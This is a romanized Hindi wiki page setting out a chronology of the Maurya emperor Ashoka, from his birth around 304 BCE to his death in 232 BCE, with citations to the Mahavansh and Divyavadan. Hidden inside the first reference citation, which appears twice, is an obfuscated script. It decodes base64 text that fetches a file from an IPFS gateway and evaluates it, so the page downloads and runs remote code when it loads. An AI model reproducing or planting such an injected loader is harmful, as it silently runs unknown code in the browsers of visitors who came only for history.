अशोक का कालक्रम

ashok vishay soochi

ashok jivan parichay shasan kshetr kalakram dhamm shilalekh parivar vistrit lekh

[[chitr:Ashoka.jpg|thumb|samrat ashok (kalpanik chitr)|100px]]

ashok prachin bharat ke maury samrat biandusar ka putr tha. jisaka janm lagabhag 304 ee. poorv mean mana jata hai. bhaiyoan ke sath grih-yuddh ke bad 272 ee. poorv ashok ko rajagaddi mili aur 232 ee. poorv tak usane shasan kiya.
ashok ke jivan aur shasan ka jo kalakram usake lekhoan se vidit hota hai usaki tulana janashrutiyoan se karana labhadayak hoga.
ye janashrutiyaan uttari aur dakshini donoan haian. uttari janashruti divyavadan mean aur dakshini mahavansh mean surakshit hai.
kalakram ke ye donoan adhar yadyapi alag-alag haian tathapi anek mamaloan mean ye ek doosare ka samarthan karate pratit hote haian.
ashok ke abhishek ki tithi eesa poorv 270 mean nishchit ho chuki hai.
ab isi sthan se shuroo karake ham ashok ke jivan v shasan ki niche likhi ghatanaoan ki tithiyaan nikal sakate haian aur unhean kalakram se suvyavasthit bhi kar sakate haian:

janashrutiyoan ke adhar par ashok ka kalakram^[1]
tithi	vivaran
eesa poorv 304	ashok ka janm (ashok ke sabase b de putr ki janmatithi ke adhar par anuman kar)
eesa poorv 286	ashok ke pita biandusar ne (18 varsh ki umr mean) use ujjain ka vaisaray banakar bheja.^[2]
eesa poorv 286	vedisa (besanagar, bhilasa) ki devi se ashok ka vivah.
eesa poorv 284	ashok ke jyeshth putr maheandr ka janm.^[3]
eesa poorv 282	ashok ki sabase b di putri sanghamitra ka janm.
eesa poorv 274	uttaradhikar ke lie yuddh. yuvaraj suman ki mrityu. ashok ka sianhasan par adhikar. suman ki mrityu ke bad usake bete nigrodh ka janm.^[4].
eesa poorv 270	ashok ka rajyabhishek^[5]
eesa poorv 270-266	ashok ka chhota bhaee tiss uparaj bana.^[6]
eesa poorv 270-240	asanghimitra ashok ki agramahishi (patarani) ^[7]
eesa poorv 268	sanghamitra ka agnibrahma se vivah.
eesa poorv 267	sanghamitra ke putr suman ka janm ^[8]
eesa poorv 266	nigrodh dvara ashok ka bauddh dharm mean parivartan. us samay nigrodh keval sat varsh ka tha.^[9] yah tithi b de mahatv ki hai kyoanki (k) isase pata chalata hai ki mahavansh mean ullikhit tithiyaan usake abhishek se gini gee haian^[10] n ki usake rajy pane ki tithi se^[11], (kh) isase ek atirikt praman is bat ka milata hai ki ashok ke rajy pane ki tithi sahi hai, aur (g) isase laghu chattan lekh 1 mean ashok ke bauddh upasak banane ki jo tithi di hai usaki pushti hoti hai. ashok ne apane chhote bhaee aur yuvaraj tiss ko bauddh banaya.^[12] tiss ko achary mahadharmarakshit ne diksha di.^[13] ashok ke bhaginey v jamata agnibrahma ko bauddh dharm ki diksha.^[14] maheandr ki tiss ke sthan par uparaj pad par (usaki 18 varsh ki umr mean) niyukti. ^[15]
eesa poorv 266-263	ashok ne vihar v chaity banavaye. ^[16]
eesa poorv 264	ther mahadev ne maheandr ko bhikshu banaya. majjhantik ne kanmavachan poora kiya. moggaliputt tiss ne maheandr ko pun: diksha di aur vah usaka upadhyay bana. acharya ayupala aur upadhyaya dharmapala ne sanghamitra ko bhikshuni banaya.^[17] ashok pachchayadayak se unnati kar sasanadayak bana. ^[18]
eesa poorv 263-	kunal ka ashok ki patni padmavati ke garbh se janm. ^[19]
eesa poorv 262	ther tiss v sumitt ki mrityu. sangh mean avaanchhit bhikshu-bhikshuniyoan ki vriddhi jisase udasin hokar moggaliputt tiss sangh se virakt rahane laga ^[20]
eesa poorv 262-254	maheandr sangh ka adhyaksh raha. ashok ne moggaliputt tiss ko bula bheja. tiss ne use sanbuddh ke siddhaant ka adhyapan kiya. tiss ko adhyakshata mean sangh ki baithak. ashok ne apadharmi bhikshuoan ko sangh se nikal bahar kiya.^[21]
eesa poorv 260-250	ashok dvara bauddh tirthoan ki yatra ka sanbhavit kal jisake aant mean usane divyavadan 27 ke anusar dharmarajik ko poora karaya. divyavadan ke anusar upagupt ashok ko sabase pahale luanbini van le gaya phir usane use bodhimool ki yatra karayi. chattan lekh 8 mean ee. poo. 260 mean ashok ke sanbodhi ke darshan ka ullekh haian. rumminadiee stanbh lekh ee. poo. 250 mean usaki luanbini yatra ka ullekh karata hai.
eesa poorv 253	tritiy bauddh sangiti jisake adhyaksh moggaliputt tuss the. vibhinn deshoan mean dootoan ka bhejana.^[22]
eesa poorv 252	lanka jate hue maheandr ne vidisha mean apani mata devi ke darshan kiye.^[23]use bhikshu bane 12 varsh bit chuke the.
eesa poorv 240	ashok ki priyapatni aur sanbuddh ki ddadh vishvasini asanghimitra ki mrityu.^[24]
eesa poorv 236	tishyarakshita agramahishi bani.^[25]
eesa poorv 235	takshashila mean vidroh. kunal vahaan vaisaray banakar bheja gaya.^[26]
eesa poorv 233	tishyarakshita ka bodhi-vriksh se dvesh, jise usane nasht karane ki cheshta ki.^[27]
eesa poorv 232	shasan ke a datisavean varsh mean ashok ki mrityu. ^[28]

tika tippani aur sandarbh

↑ mukharji, radhakumud ashok, pratham sanskaran (hindi), bharatadiskavari pustakalay: motilal banarasidas, 36-39.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ mahavansh,13,8-11
↑ (mahavansh 204)
↑ (mahavansh40-50)
↑ (mahavansh 22)
↑ (mahavansh33)
↑ (mahavansh 85; 20, 2)
↑ (mahavansh 170)
↑ (mahavansh 45)
↑ (jaisa ki vianseant smith ne kiya hai)
↑ [jaisa ki kaianbrij histri (khand 1,prishth sankhya 503) mean kiya hai]
↑ (mahavansh160)
↑ (mahavansh168)
↑ (mahavansh170)
↑ (mahavansh202)
↑ (mahavansh173, divyavadan 27)
↑ (mahavansh 204-209)
↑ (mahavansh197)
↑ (divyavadan 27)
↑ (mahavansh 227-30).
↑ (mahavansh231-274, mila. saanchi v saranath ke stanbh lekh)
↑ (mahavansh] 12,1-8)
↑ (mahavansh 13, 1,8-11)
↑ (mahavansh 20,2)
↑ (mahavansh 3 v divyavadan 27 mean use ashok ki agramahishi kaha hai)
↑ (divyavadan prishth sankhya 407)
↑ (mahavansh. 20, 4-6, divyavadan mean bina tithi ke ulikhit (prishth sankhya 397 kavel ka sanskaran)
↑ (mahavansh 20,1-6)

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ukharji, radhakumud ashok, pratham sanskaran (hindi), bharatadiskavari pustakalay: motilal banarasidas, 36-39.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] vansh,13,8-11

[3] (mahavansh 204)

[4] (mahavansh40-50)

[5] (mahavansh 22)

[6] (mahavansh33)

[7] (mahavansh 85; 20, 2)

[8] (mahavansh 170)

[9] (mahavansh 45)

[10] (jaisa ki vianseant smith ne kiya hai)

[11] [jaisa ki kaianbrij histri (khand 1,prishth sankhya 503) mean kiya hai]

[12] (mahavansh160)

[13] (mahavansh168)

[14] (mahavansh170)

[15] (mahavansh202)

[16] (mahavansh173, divyavadan 27)

[17] (mahavansh 204-209)

[18] (mahavansh197)

[19] (divyavadan 27)

[20] (mahavansh 227-30).

[21] (mahavansh231-274, mila. saanchi v saranath ke stanbh lekh)

[22] (mahavansh] 12,1-8)

[23] (mahavansh 13, 1,8-11)

[24] (mahavansh 20,2)

[25] (mahavansh 3 v divyavadan 27 mean use ashok ki agramahishi kaha hai)

[26] (divyavadan prishth sankhya 407)

[27] (mahavansh. 20, 4-6, divyavadan mean bina tithi ke ulikhit (prishth sankhya 397 kavel ka sanskaran)

[28] (mahavansh 20,1-6)

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

[10]

[11]

[12]

[13]

[14]

[15]

[16]

[17]

[18]

[19]

[20]

[21]

[22]

[23]

[24]

[25]

[26]

[27]

[28]

अशोक का कालक्रम

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

Navigation menu

Search